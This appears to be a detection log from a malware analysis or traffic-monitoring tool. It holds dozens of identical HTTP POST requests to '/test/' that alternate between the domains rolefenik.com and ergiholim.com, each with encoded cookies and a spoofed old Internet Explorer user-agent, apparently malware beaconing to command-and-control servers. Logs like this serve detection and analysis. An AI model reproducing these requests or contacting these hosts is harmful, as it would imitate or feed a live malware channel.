Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
